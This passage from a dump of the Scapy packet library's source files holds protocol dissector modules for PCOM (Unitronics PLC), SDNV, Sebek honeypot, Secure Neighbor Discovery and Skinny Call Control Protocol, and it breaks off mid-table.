IEC104_IO_C_DC_TA_1_IOA,\n    IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1_IOA,\n    IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1_IOA,\n    IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1_IOA,\n    IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1_IOA,\n    IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1_IOA,\n    IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1_IOA,\n    IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1_IOA,\n    IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1_IOA,\n    IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1_IOA,\n    IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1_IOA,\n    IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1_IOA,\n    IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1_IOA,\n    IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1_IOA,\n    IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1_IOA,\n    IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1_IOA,\n    IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1_IOA,\n    IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1_IOA,\n    IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1_IOA,\n    IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1_IOA,\n    IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1_IOA,\n    IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1_IOA,\n    IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1_IOA,\n    IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1_IOA,\n    IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1_IOA,\n    IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1_IOA,\n    IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1_IOA\n}\n"
  },
  {
    "path": "scapy/contrib/scada/pcom.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Luis Rosa <lmrosa@dei.uc.pt>\n\n# scapy.contrib.description = PCOM Protocol\n# scapy.contrib.status = loads\n\n\"\"\"\nPCOM\n\nPCOM is a protocol to communicate with Unitronics PLCs either by serial\nor TCP. Two modes are available, ASCII and Binary.\n\nhttps://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import TCP\nfrom scapy.fields import XShortField, ByteEnumField, XByteField, \\\n    StrFixedLenField, StrLenField, LEShortField, \\\n    LEFieldLenField, XLE3BytesField, XLEShortField\nfrom scapy.volatile import RandShort\nfrom scapy.compat import bytes_encode, orb\n\n_protocol_modes = {0x65: \"ascii\", 0x66: \"binary\"}\n\n_ascii_command_codes = {\n    \"ID\": \"Send Identification Command\",\n    \"CCR\": \"Send Start Command\",\n    \"CCS\": \"Send Stop Command\",\n    \"CCE\": \"Send Reset Command\",\n    \"CCI\": \"Send Init Command\",\n    \"CC\": \"Reply of Admin Commands (CC*)\",\n    \"UG\": \"Get UnitID\",\n    \"US\": \"Set UnitID\",\n    \"RC\": \"Get RTC\",\n    \"SC\": \"Set RTC\",\n    \"RE\": \"Read Inputs\",\n    \"RA\": \"Read Outputs\",\n    \"GS\": \"Read System Bits\",\n    \"GF\": \"Read System Integers\",\n    \"RNH\": \"Read System Longs\",\n    \"RNJ\": \"Read System Double Words\",\n    \"RB\": \"Read Memory Bits\",\n    \"RW\": \"Read Memory Integers\",\n    \"RNL\": \"Read Memory Longs\",\n    \"RND\": \"Read Memory Double Words\",\n    \"RN\": \"Read Longs / Double Words\",\n    \"SA\": \"Write Outputs\",\n    \"SS\": \"Write System Bits\",\n    \"SF\": \"Write System Integers\",\n    \"SNH\": \"Write System Longs\",\n    \"SNJ\": \"Write System Double Words\",\n    \"SB\": \"Write Memory Bits\",\n    \"SW\": \"Write Memory Integers\",\n    \"SNL\": \"Write Memory Longs\",\n    \"SND\": \"Write Memory Double Words\",\n    \"SN\": \"Write Longs / Double Words\"\n}\n\n_binary_command_codes = {\n    0x0c: \"Get PLC Name Request\",\n    0x8c: \"Get PLC Name Reply\",\n    0x4d: \"Read Operands Request\",\n    0xcd: \"Read Operands Reply\",\n    0x04: \"Read Data Table Request\",\n    0x84: \"Read Data Table Reply\",\n    0x44: \"Write Data Table Request\",\n    0xc4: \"Write Data Table Reply\"\n}\n\n\nclass PCOM(Packet):\n    fields_desc = [\n        XShortField(\"transId\", RandShort()),\n        ByteEnumField(\"mode\", 0x65, _protocol_modes),\n        XByteField(\"reserved\", 0x00),\n        LEShortField(\"len\", None)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.len is None and pay:\n            pkt = pkt[:4] + struct.pack(\"<H\", len(pay))\n        return pkt + pay\n\n\nclass PCOMRequest(PCOM):\n    name = \"PCOM/TCP Request\"\n\n\nclass PCOMResponse(PCOM):\n    name = \"PCOM/TCP Response\"\n\n\nclass PCOMAscii(Packet):\n    @staticmethod\n    def pcom_ascii_checksum(command):\n        n = 0\n        command = bytes_encode(command)\n        for _, c in enumerate(command):\n            n += orb(c)\n        return list(map(ord, hex(n % 256)[2:].zfill(2).upper()))\n\n\nclass PCOMAsciiCommandField(StrLenField):\n    def i2repr(self, pkt, x):\n        s = super(PCOMAsciiCommandField, self).i2repr(pkt, x)\n        code = s[1:4]  # check for 3 chars known codes\n        if code in _ascii_command_codes:\n            return _ascii_command_codes[code] + \" \" + s\n        code = s[1:3]  # check for 2 chars known codes\n        if code in _ascii_command_codes:\n            return _ascii_command_codes[code] + \" \" + s\n        return s\n\n\nclass PCOMAsciiRequest(PCOMAscii):\n    name = \"PCOM/ASCII Request\"\n    fields_desc = [\n        StrFixedLenField(\"stx\", \"/\", 1),\n        StrFixedLenField(\"unitId\", \"00\", 2),\n        PCOMAsciiCommandField(\n            \"command\", '', length_from=lambda pkt: pkt.underlayer.len - 6),\n        XShortField(\"chksum\", None),\n        XByteField(\"etx\", 0x0d)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.chksum is None:\n            chksum = PCOMAscii.pcom_ascii_checksum(pkt[1:-3])\n            pkt = pkt[:-3] + struct.pack(\"2B\", chksum[0], chksum[1]) + pkt[-1:]\n        return pkt + pay\n\n\nclass PCOMAsciiResponse(PCOMAscii):\n    name = \"PCOM/ASCII Response\"\n    fields_desc = [\n        StrFixedLenField(\"stx\", \"/A\", 2),\n        StrFixedLenField(\"unitId\", \"00\", 2),\n        PCOMAsciiCommandField(\n            \"command\", '', length_from=lambda pkt: pkt.underlayer.len - 7),\n        XShortField(\"chksum\", None),\n        XByteField(\"etx\", 0x0d)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.chksum is None:\n            chksum = PCOMAscii.pcom_ascii_checksum(pkt[2:-3])\n            pkt = pkt[:-3] + struct.pack(\"2B\", chksum[0], chksum[1]) + pkt[-1:]\n        return pkt + pay\n\n\nclass PCOMBinary(Packet):\n    @staticmethod\n    def pcom_binary_checksum(command):\n        n = 0\n        command = bytes_encode(command)\n        for _, c in enumerate(command):\n            c = c if isinstance(c, int) else ord(c)  # python 2 fallback\n            n += c\n        if n == 0:\n            return [0x00, 0x00]\n        else:\n            two_complement = hex(0x10000 - (n % 0x10000))[2:].zfill(4)\n            return [int(two_complement[:2], 16), int(two_complement[2:], 16)]\n\n    def post_build(self, pkt, pay):\n        if self.headerChksum is None:\n            chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[:21])\n            pkt = pkt[:22] + struct.pack(\"2B\", chksum[1], chksum[0]) + pkt[24:]\n        if self.footerChksum is None:\n            chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[24:-3])\n            pkt = pkt[:-3] + struct.pack(\"2B\", chksum[1], chksum[0]) + pkt[-1:]\n        return pkt + pay\n\n\nclass PCOMBinaryCommandField(XByteField):\n    def i2repr(self, pkt, x):\n        s = super(PCOMBinaryCommandField, self).i2repr(pkt, x)\n        if x in _binary_command_codes:\n            return _binary_command_codes[x] + \" - \" + s\n        else:\n            return s\n\n\nclass PCOMBinaryRequest(PCOMBinary):\n    name = \"PCOM/Binary Request\"\n    fields_desc = [\n        StrFixedLenField(\"stx\", \"/_OPLC\", 6),\n        XByteField(\"id\", 0x0),\n        XByteField(\"reserved1\", 0xfe),\n        XByteField(\"reserved2\", 0x1),\n        XLE3BytesField(\"reserved3\", 0x0),\n        PCOMBinaryCommandField(\"command\", None),\n        XByteField(\"reserved4\", 0x0),\n        StrFixedLenField(\"commandSpecific\", '', 6),\n        LEFieldLenField(\"len\", 0, length_of=\"data\"),\n        XLEShortField(\"headerChksum\", None),\n        StrLenField(\"data\", '', length_from=lambda pkt: pkt.len),\n        XLEShortField(\"footerChksum\", None),\n        XByteField(\"etx\", 0x5c)\n    ]\n\n\nclass PCOMBinaryResponse(PCOMBinary):\n    name = \"PCOM/Binary Response\"\n    fields_desc = [\n        StrFixedLenField(\"stx\", \"/_OPLC\", 6),\n        XByteField(\"reserved1\", 0xfe),\n        XByteField(\"id\", 0x0),\n        XByteField(\"reserved2\", 0x1),\n        XLE3BytesField(\"reserved3\", 0x0),\n        PCOMBinaryCommandField(\"command\", None),\n        XByteField(\"reserved4\", 0x0),\n        StrFixedLenField(\"commandSpecific\", '', 6),\n        LEFieldLenField(\"len\", 0, length_of=\"data\"),\n        XLEShortField(\"headerChksum\", None),\n        StrLenField(\"data\", '', length_from=lambda pkt: pkt.len),\n        XLEShortField(\"footerChksum\", None),\n        XByteField(\"etx\", 0x5c)\n    ]\n\n\nbind_layers(TCP, PCOMRequest, dport=20256)\nbind_layers(TCP, PCOMResponse, sport=20256)\nbind_layers(PCOMRequest, PCOMAsciiRequest, mode=0x65)\nbind_layers(PCOMRequest, PCOMBinaryRequest, mode=0x66)\nbind_layers(PCOMResponse, PCOMAsciiResponse, mode=0x65)\nbind_layers(PCOMResponse, PCOMBinaryResponse, mode=0x66)\n"
  },
  {
    "path": "scapy/contrib/sdnv.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright 2012 (C) The MITRE Corporation\n\n\"\"\"\n.. centered::\n    NOTICE\n    This software/technical data was produced for the U.S. Government\n    under Prime Contract No. NASA-03001 and JPL Contract No. 1295026\n    and is subject to FAR 52.227-14 (6/87) Rights in Data General,\n    and Article GP-51, Rights in Data  General, respectively.\n    This software is publicly released under MITRE case #12-3054\n\"\"\"\n\n# scapy.contrib.description = Self-Delimiting Numeric Values (SDNV)\n# scapy.contrib.status = library\n\nfrom scapy.fields import Field, FieldLenField, LenField\nfrom scapy.compat import raw\n\n# SDNV definitions\n\n\nclass SDNVValueError(Exception):\n    def __init__(self, maxValue):\n        self.maxValue = maxValue\n\n\nclass SDNV:\n    def __init__(self, maxValue=2**32 - 1):\n        self.maxValue = maxValue\n        return\n\n    def setMax(self, maxValue):\n        self.maxValue = maxValue\n\n    def getMax(self):\n        return self.maxValue\n\n    def encode(self, number):\n        if number > self.maxValue:\n            raise SDNVValueError(self.maxValue)\n\n        foo = bytearray()\n        foo.append(number & 0x7F)\n        number = number >> 7\n\n        while (number > 0):\n            thisByte = number & 0x7F\n            thisByte |= 0x80\n            number = number >> 7\n            temp = bytearray()\n            temp.append(thisByte)\n            foo = temp + foo\n\n        return foo\n\n    def decode(self, ba, offset):\n        number = 0\n        numBytes = 1\n\n        b = ba[offset]\n        number = (b & 0x7F)\n        while (b & 0x80 == 0x80):\n            number = number << 7\n            if (number > self.maxValue):\n                raise SDNVValueError(self.maxValue)\n            b = ba[offset + numBytes]\n            number += (b & 0x7F)\n            numBytes += 1\n        if (number > self.maxValue):\n            raise SDNVValueError(self.maxValue)\n        return number, numBytes\n\n\nSDNVUtil = SDNV()\n\n\nclass SDNV2(Field):\n    \"\"\" SDNV2 field \"\"\"\n\n    def addfield(self, pkt, s, val):\n        return s + raw(SDNVUtil.encode(val))\n\n    def getfield(self, pkt, s):\n        b = bytearray(s)\n        val, len = SDNVUtil.decode(b, 0)\n        return s[len:], val\n\n\nclass SDNV2FieldLenField(FieldLenField, SDNV2):\n    def addfield(self, pkt, s, val):\n        return s + raw(SDNVUtil.encode(FieldLenField.i2m(self, pkt, val)))\n\n\nclass SDNV2LenField(LenField, SDNV2):\n    def addfield(self, pkt, s, val):\n        return s + raw(SDNVUtil.encode(LenField.i2m(self, pkt, val)))\n"
  },
  {
    "path": "scapy/contrib/sebek.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nSebek: kernel module for data collection on honeypots.\n\"\"\"\n\n# scapy.contrib.description = Sebek\n# scapy.contrib.status = loads\n\nfrom scapy.fields import FieldLenField, IPField, IntField, ShortEnumField, \\\n    ShortField, StrFixedLenField, StrLenField, XIntField, ByteEnumField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import UDP\nfrom scapy.data import IP_PROTOS\n\n\n# SEBEK\n\n\nclass SebekHead(Packet):\n    name = \"Sebek header\"\n    fields_desc = [XIntField(\"magic\", 0xd0d0d0),\n                   ShortField(\"version\", 1),\n                   ShortEnumField(\"type\", 0, {\"read\": 0, \"write\": 1,\n                                              \"socket\": 2, \"open\": 3}),\n                   IntField(\"counter\", 0),\n                   IntField(\"time_sec\", 0),\n                   IntField(\"time_usec\", 0)]\n\n    def mysummary(self):\n        return self.sprintf(\"Sebek Header v%SebekHead.version% %SebekHead.type%\")  # noqa: E501\n\n# we need this because Sebek headers differ between v1 and v3, and\n# between v3 type socket and v3 others\n\n\nclass SebekV1(Packet):\n    name = \"Sebek v1\"\n    fields_desc = [IntField(\"pid\", 0),\n                   IntField(\"uid\", 0),\n                   IntField(\"fd\", 0),\n                   StrFixedLenField(\"cmd\", \"\", 12),\n                   FieldLenField(\"data_length\", None, \"data\", fmt=\"I\"),\n                   StrLenField(\"data\", \"\", length_from=lambda x:x.data_length)]\n\n    def mysummary(self):\n        if isinstance(self.underlayer, SebekHead):\n            return self.underlayer.sprintf(\"Sebek v1 %SebekHead.type% (%SebekV1.cmd%)\")  # noqa: E501\n        else:\n            return self.sprintf(\"Sebek v1 (%SebekV1.cmd%)\")\n\n\nclass SebekV3(Packet):\n    name = \"Sebek v3\"\n    fields_desc = [IntField(\"parent_pid\", 0),\n                   IntField(\"pid\", 0),\n                   IntField(\"uid\", 0),\n                   IntField(\"fd\", 0),\n                   IntField(\"inode\", 0),\n                   StrFixedLenField(\"cmd\", \"\", 12),\n                   FieldLenField(\"data_length\", None, \"data\", fmt=\"I\"),\n                   StrLenField(\"data\", \"\", length_from=lambda x:x.data_length)]\n\n    def mysummary(self):\n        if isinstance(self.underlayer, SebekHead):\n            return self.underlayer.sprintf(\"Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)\")  # noqa: E501\n        else:\n            return self.sprintf(\"Sebek v3 (%SebekV3.cmd%)\")\n\n\nclass SebekV2(SebekV3):\n    def mysummary(self):\n        if isinstance(self.underlayer, SebekHead):\n            return self.underlayer.sprintf(\"Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)\")  # noqa: E501\n        else:\n            return self.sprintf(\"Sebek v2 (%SebekV2.cmd%)\")\n\n\nclass SebekV3Sock(Packet):\n    name = \"Sebek v2 socket\"\n    fields_desc = [IntField(\"parent_pid\", 0),\n                   IntField(\"pid\", 0),\n                   IntField(\"uid\", 0),\n                   IntField(\"fd\", 0),\n                   IntField(\"inode\", 0),\n                   StrFixedLenField(\"cmd\", \"\", 12),\n                   IntField(\"data_length\", 15),\n                   IPField(\"dip\", \"127.0.0.1\"),\n                   ShortField(\"dport\", 0),\n                   IPField(\"sip\", \"127.0.0.1\"),\n                   ShortField(\"sport\", 0),\n                   ShortEnumField(\"call\", 0, {\"bind\": 2,\n                                              \"connect\": 3, \"listen\": 4,\n                                              \"accept\": 5, \"sendmsg\": 16,\n                                              \"recvmsg\": 17, \"sendto\": 11,\n                                              \"recvfrom\": 12}),\n                   ByteEnumField(\"proto\", 0, IP_PROTOS)]\n\n    def mysummary(self):\n        if isinstance(self.underlayer, SebekHead):\n            return self.underlayer.sprintf(\"Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)\")  # noqa: E501\n        else:\n            return self.sprintf(\"Sebek v3 socket (%SebekV3Sock.cmd%)\")\n\n\nclass SebekV2Sock(SebekV3Sock):\n    def mysummary(self):\n        if isinstance(self.underlayer, SebekHead):\n            return self.underlayer.sprintf(\"Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)\")  # noqa: E501\n        else:\n            return self.sprintf(\"Sebek v2 socket (%SebekV2Sock.cmd%)\")\n\n\nbind_layers(UDP, SebekHead, sport=1101)\nbind_layers(UDP, SebekHead, dport=1101)\nbind_layers(UDP, SebekHead, dport=1101, sport=1101)\nbind_layers(SebekHead, SebekV1, version=1)\nbind_layers(SebekHead, SebekV2Sock, version=2, type=2)\nbind_layers(SebekHead, SebekV2, version=2)\nbind_layers(SebekHead, SebekV3Sock, version=3, type=2)\nbind_layers(SebekHead, SebekV3, version=3)\n"
  },
  {
    "path": "scapy/contrib/send.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2009 Adline Stephane <adline.stephane@gmail.com>\n# Copyright     2018 Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nSecure Neighbor Discovery (SEND) - RFC3971\n\"\"\"\n\n# scapy.contrib.description = Secure Neighbor Discovery (SEND) (ICMPv6)\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet\nfrom scapy.fields import BitField, ByteField, FieldLenField, PacketField, \\\n    PacketLenField, ShortField, StrFixedLenField, StrLenField, UTCTimeField\nfrom scapy.layers.x509 import X509_SubjectPublicKeyInfo\nfrom scapy.layers.inet6 import icmp6ndoptscls, _ICMPv6NDGuessPayload\nfrom scapy.compat import chb\nfrom scapy.volatile import RandBin\n\n\nclass ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6NDOptNonce\"\n    fields_desc = [ByteField(\"type\", 14),\n                   FieldLenField(\"len\", None, length_of=\"nonce\", fmt=\"B\", adjust=lambda pkt, x: int(round((x + 2) / 8.))),  # noqa: E501\n                   StrLenField(\"nonce\", \"\", length_from=lambda pkt: pkt.len * 8 - 2)]  # noqa: E501\n\n\nclass ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6NDOptTmstp\"\n    fields_desc = [ByteField(\"type\", 13),\n                   ByteField(\"len\", 2),\n                   BitField(\"reserved\", 0, 48),\n                   UTCTimeField(\"timestamp\", None)]\n\n\nclass ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6NDOptRsaSig\"\n    fields_desc = [ByteField(\"type\", 12),\n                   FieldLenField(\"len\", None, length_of=\"signature_pad\", fmt=\"B\", adjust=lambda pkt, x: (x + 20) // 8),  # noqa: E501\n                   ShortField(\"reserved\", 0),\n                   StrFixedLenField(\"key_hash\", \"\", length=16),\n                   StrLenField(\"signature_pad\", \"\", length_from=lambda pkt: pkt.len * 8 - 20)]  # noqa: E501\n\n\nclass CGA_Params(Packet):\n    name = \"CGA Parameters data structure\"\n    fields_desc = [StrFixedLenField(\"modifier\", RandBin(size=16), length=16),\n                   StrFixedLenField(\"subprefix\", \"\", length=8),\n                   ByteField(\"cc\", 0),\n                   PacketField(\"pubkey\", X509_SubjectPublicKeyInfo(),\n                               X509_SubjectPublicKeyInfo)]\n\n\nclass ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6NDOptCGA\"\n    fields_desc = [ByteField(\"type\", 11),\n                   FieldLenField(\"len\", None, length_of=\"CGA_PARAMS\", fmt=\"B\", adjust=lambda pkt, x: (x + pkt.padlength + 4) // 8),  # noqa: E501\n                   FieldLenField(\"padlength\", 0, length_of=\"padding\", fmt=\"B\"),\n                   ByteField(\"reserved\", 0),\n                   PacketLenField(\"CGA_PARAMS\", \"\", CGA_Params, length_from=lambda pkt: pkt.len * 8 - pkt.padlength - 4),  # noqa: E501\n                   StrLenField(\"padding\", \"\", length_from=lambda pkt: pkt.padlength)]  # noqa: E501\n\n    def post_build(self, p, pay):\n        l_ = len(self.CGA_PARAMS)\n        tmp_len = -(4 + l_) % 8  # Pad to 8 bytes\n        p = p[:1] + chb((4 + l_ + tmp_len) // 8) + chb(tmp_len) + p[3:4 + l_]\n        p += b\"\\x00\" * tmp_len + pay\n        return p\n\n\nsend_icmp6ndoptscls = {11: ICMPv6NDOptCGA,\n                       12: ICMPv6NDOptRsaSig,\n                       13: ICMPv6NDOptTmstp,\n                       14: ICMPv6NDOptNonce\n                       }\nicmp6ndoptscls.update(send_icmp6ndoptscls)\n"
  },
  {
    "path": "scapy/contrib/skinny.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n#  Copyright (C) 2006 Nicolas Bareil <nicolas.bareil <at> eads.net>\n#                     EADS/CRC security team\n\n# scapy.contrib.description = Skinny Call Control Protocol (SCCP)\n# scapy.contrib.status = loads\n\n\"\"\"\nSkinny Call Control Protocol (SCCP) extension\n\"\"\"\n\nimport time\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import FlagsField, IPField, LEIntEnumField, LEIntField, \\\n    StrFixedLenField\nfrom scapy.layers.inet import TCP\nfrom scapy.volatile import RandShort\nfrom scapy.config import conf\n\n#####################################################################\n# Helpers and constants\n#####################################################################\n\nskinny_messages_cls = {\n    # Station -> Callmanager\n    0x0000: \"SkinnyMessageKeepAlive\",\n    0x0001: \"SkinnyMessageRegister\",\n    0x0002: \"SkinnyMessageIpPort\",\n    0x0003: \"SkinnyMessageKeypadButton\",\n    0x0004: \"SkinnyMessageEnblocCall\",\n    0x0005: \"SkinnyMessageStimulus\",\n    0x0006: \"SkinnyMessageOffHook\",\n    0x0007: \"SkinnyMessageOnHook\",\n    0x0008: \"SkinnyMessageHookFlash\",\n    0x0009: \"SkinnyMessageForwardStatReq\",\n    0x000A: \"SkinnyMessageSpeedDialStatReq\",\n    0x000B: \"SkinnyMessageLineStatReq\",\n    0x000C: \"SkinnyMessageConfigStatReq\",\n    0x000D: \"SkinnyMessageTimeDateReq\",\n    0x000E: \"SkinnyMessageButtonTemplateReq\",\n    0x000F: \"SkinnyMessageVersionReq\",\n    0x0010: \"SkinnyMessageCapabilitiesRes\",\n    0x0011: \"SkinnyMessageMediaPortList\",\n    0x0012: \"SkinnyMessageServerReq\",\n    0x0020: \"SkinnyMessageAlarm\",\n    0x0021: \"SkinnyMessageMulticastMediaReceptionAck\",\n    0x0022: \"SkinnyMessageOpenReceiveChannelAck\",\n    0x0023: \"SkinnyMessageConnectionStatisticsRes\",\n    0x0024: \"SkinnyMessageOffHookWithCgpn\",\n    0x0025: \"SkinnyMessageSoftKeySetReq\",\n    0x0026: \"SkinnyMessageSoftKeyEvent\",\n    0x0027: \"SkinnyMessageUnregister\",\n    0x0028: \"SkinnyMessageSoftKeyTemplateReq\",\n    0x0029: \"SkinnyMessageRegisterTokenReq\",\n    0x002A: \"SkinnyMessageMediaTransmissionFailure\",\n    0x002B: \"SkinnyMessageHeadsetStatus\",\n    0x002C: \"SkinnyMessageMediaResourceNotification\",\n    0x002D: \"SkinnyMessageRegisterAvailableLines\",\n    0x002E: \"SkinnyMessageDeviceToUserData\",\n    0x002F: \"SkinnyMessageDeviceToUserDataResponse\",\n    0x0030: \"SkinnyMessageUpdateCapabilities\",\n    0x0031: \"SkinnyMessageOpenMultiMediaReceiveChannelAck\",\n    0x0032: \"SkinnyMessageClearConference\",\n    0x0033: \"SkinnyMessageServiceURLStatReq\",\n    0x0034: \"SkinnyMessageFeatureStatReq\",\n    0x0035: \"SkinnyMessageCreateConferenceRes\",\n    0x0036: \"SkinnyMessageDeleteConferenceRes\",\n    0x0037: \"SkinnyMessageModifyConferenceRes\",\n    0x0038: \"SkinnyMessageAddParticipantRes\",\n    0x0039: \"SkinnyMessageAuditConferenceRes\",\n    0x0040: \"SkinnyMessageAuditParticipantRes\",\n    0x0041: \"SkinnyMessageDeviceToUserDataVersion1\",\n    # Callmanager -> Station */\n    0x0081: \"SkinnyMessageRegisterAck\",\n    0x0082: \"SkinnyMessageStartTone\",\n    0x0083: \"SkinnyMessageStopTone\",\n    0x0085: \"SkinnyMessageSetRinger\",\n    0x0086: \"SkinnyMessageSetLamp\",\n    0x0087: \"SkinnyMessageSetHkFDetect\",\n    0x0088: \"SkinnyMessageSpeakerMode\",\n    0x0089: \"SkinnyMessageSetMicroMode\",\n    0x008A: \"SkinnyMessageStartMediaTransmission\",\n    0x008B: \"SkinnyMessageStopMediaTransmission\",\n    0x008C: \"SkinnyMessageStartMediaReception\",\n    0x008D: \"SkinnyMessageStopMediaReception\",\n    0x008F: \"SkinnyMessageCallInfo\",\n    0x0090: \"SkinnyMessageForwardStat\",\n    0x0091: \"SkinnyMessageSpeedDialStat\",\n    0x0092: \"SkinnyMessageLineStat\",\n    0x0093: \"SkinnyMessageConfigStat\",\n    0x0094: \"SkinnyMessageTimeDate\",\n    0x0095: \"SkinnyMessageStartSessionTransmission\",\n    0x0096: \"SkinnyMessageStopSessionTransmission\",\n    0x0097: \"SkinnyMessageButtonTemplate\",\n    0x0098: \"SkinnyMessageVersion\",\n    0x0099: \"SkinnyMessageDisplayText\",\n    0x009A: \"SkinnyMessageClearDisplay\",\n    0x009B: \"SkinnyMessageCapabilitiesReq\",\n    0x009C: \"SkinnyMessageEnunciatorCommand\",\n    0x009D: \"SkinnyMessageRegisterReject\",\n    0x009E: \"SkinnyMessageServerRes\",\n    0x009F: \"SkinnyMessageReset\",\n    0x0100: \"SkinnyMessageKeepAliveAck\",\n    0x0101: \"SkinnyMessageStartMulticastMediaReception\",\n    0x0102: \"SkinnyMessageStartMulticastMediaTransmission\",\n    0x0103: \"SkinnyMessageStopMulticastMediaReception\",\n    0x0104: \"SkinnyMessageStopMulticastMediaTransmission\",\n    0x0105: \"SkinnyMessageOpenReceiveChannel\",\n    0x0106: \"SkinnyMessageCloseReceiveChannel\",\n    0x0107: \"SkinnyMessageConnectionStatisticsReq\",\n    0x0108: \"SkinnyMessageSoftKeyTemplateRes\",\n    0x0109: \"SkinnyMessageSoftKeySetRes\",\n    0x0110: \"SkinnyMessageStationSelectSoftKeysMessage\",\n    0x0111: \"SkinnyMessageCallState\",\n    0x0112: \"SkinnyMessagePromptStatus\",\n    0x0113: \"SkinnyMessageClearPromptStatus\",\n    0x0114: \"SkinnyMessageDisplayNotify\",\n    0x0115: \"SkinnyMessageClearNotify\",\n    0x0116: \"SkinnyMessageCallPlane\",\n    0x0117: \"SkinnyMessageCallPlane\",\n    0x0118: \"SkinnyMessageUnregisterAck\",\n    0x0119: \"SkinnyMessageBackSpaceReq\",\n    0x011A: \"SkinnyMessageRegisterTokenAck\",\n    0x011B: \"SkinnyMessageRegisterTokenReject\",\n    0x0042: \"SkinnyMessageDeviceToUserDataResponseVersion1\",\n    0x011C: \"SkinnyMessageStartMediaFailureDetection\",\n    0x011D: \"SkinnyMessageDialedNumber\",\n    0x011E: \"SkinnyMessageUserToDeviceData\",\n    0x011F: \"SkinnyMessageFeatureStat\",\n    0x0120: \"SkinnyMessageDisplayPriNotify\",\n    0x0121: \"SkinnyMessageClearPriNotify\",\n    0x0122: \"SkinnyMessageStartAnnouncement\",\n    0x0123: \"SkinnyMessageStopAnnouncement\",\n    0x0124: \"SkinnyMessageAnnouncementFinish\",\n    0x0127: \"SkinnyMessageNotifyDtmfTone\",\n    0x0128: \"SkinnyMessageSendDtmfTone\",\n    0x0129: \"SkinnyMessageSubscribeDtmfPayloadReq\",\n    0x012A: \"SkinnyMessageSubscribeDtmfPayloadRes\",\n    0x012B: \"SkinnyMessageSubscribeDtmfPayloadErr\",\n    0x012C: \"SkinnyMessageUnSubscribeDtmfPayloadReq\",\n    0x012D: \"SkinnyMessageUnSubscribeDtmfPayloadRes\",\n    0x012E: \"SkinnyMessageUnSubscribeDtmfPayloadErr\",\n    0x012F: \"SkinnyMessageServiceURLStat\",\n    0x0130: \"SkinnyMessageCallSelectStat\",\n    0x0131: \"SkinnyMessageOpenMultiMediaChannel\",\n    0x0132: \"SkinnyMessageStartMultiMediaTransmission\",\n    0x0133: \"SkinnyMessageStopMultiMediaTransmission\",\n    0x0134: \"SkinnyMessageMiscellaneousCommand\",\n    0x0135: \"SkinnyMessageFlowControlCommand\",\n    0x0136: \"SkinnyMessageCloseMultiMediaReceiveChannel\",\n    0x0137: \"SkinnyMessageCreateConferenceReq\",\n    0x0138: \"SkinnyMessageDeleteConferenceReq\",\n    0x0139: \"SkinnyMessageModifyConferenceReq\",\n    0x013A: \"SkinnyMessageAddParticipantReq\",\n    0x013B: 